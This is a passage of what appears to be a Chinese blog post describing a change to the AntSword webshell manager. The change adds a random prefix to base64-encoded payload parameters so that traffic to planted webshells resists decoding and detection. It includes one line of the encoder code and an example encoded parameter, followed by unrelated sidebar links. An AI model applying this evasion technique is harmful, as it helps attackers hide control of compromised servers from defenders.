}
return randomString(randomPrefix)+Buffer.from(iconv.encode(Buffer.from(str), encode)).toString('base64');
}
修改后的模板长这个样:
期间遇到一个小坑,就是无法在format()函数中获取opts的值.
后来发现蚁剑中是这样写的:
还特意把原来的new this.format
给注释掉换成Base.prototype.format
的形式,具体原因我也不知道为什么.如果有知道的师傅麻烦告诉我一下.
既然追求刺激,那就贯彻到底,直接把opts传给format函数,然后在format中重新取所需要的变量.
测试
前缀长度默认为2,可以自行修改,只要不是4的倍数即可(原因自己思考一下).
可以正常使用:
其中prototype
Is that we introduced to the third party the value of the parameter,Here is the absolute path to open:
prototype=ojRDovcGhwU3R1ZHkvUEhQVHV0b3JpYWwvV1dXL3BocE15QWRtaW4v
直接base64解码会是乱码.
去掉前两位后我们进行解码则可以得到正确的结果.
偏移两位的效果可能还不是很明显,容易被猜出.但是当前缀长度达到10位以上的时候,就很难分析出最后的结果.
对php类型修改后我在本地测试了主要的13个功能,均可以正常使用.但是由于涉及到修改核心payload,等确定没有bug了再改其他的.
由于我是在父类Base中修改的编码模块,想修改其他类型的shell只需要照葫芦画瓢改一下对应的模版即可.
修改后的项目地址:
边栏推荐
- Access Characteristics of Constructor under Inheritance Relationship
- 云原生(三十二) | Kubernetes篇之平台存储系统介绍
- 使用SuperMap iDesktopX数据迁移工具迁移地图文档和符号
- 1527. 患某种疾病的患者
- QStyle平台风格
- js中try...catch和finally的用法
- Dotnet 6 Why does the network request not follow the change of the system network proxy and dynamically switch the proxy?
- Matlab map with color representation module value size arrow
- Gantt chart is here, project management artifact, template is used directly
- 重新审视分布式系统:永远不会有完美的一致性方案……
猜你喜欢
随机推荐
C语言日记 9 if的3种语句
学习笔记-----左偏树
What should I do if the self-incrementing id of online MySQL is exhausted?
Data to enhance Mixup principle and code reading
注意潍坊开具发票一般需要注意
继承关系下构造方法的访问特点
627. 变更性别
Hypervisor related knowledge points
基于左序遍历的数据存储实践
dmp(dump)转储文件
Flink 1.15.1 集群搭建(StandaloneSession)
特殊矩阵的压缩存储
leetcode 15
浅谈数据安全治理与隐私计算
云原生(三十二) | Kubernetes篇之平台存储系统介绍
Compressed storage of special matrices
C学生管理系统 据学号查找学生节点
SDC简介
C语言实现简单猜数字游戏
Snapback - same tree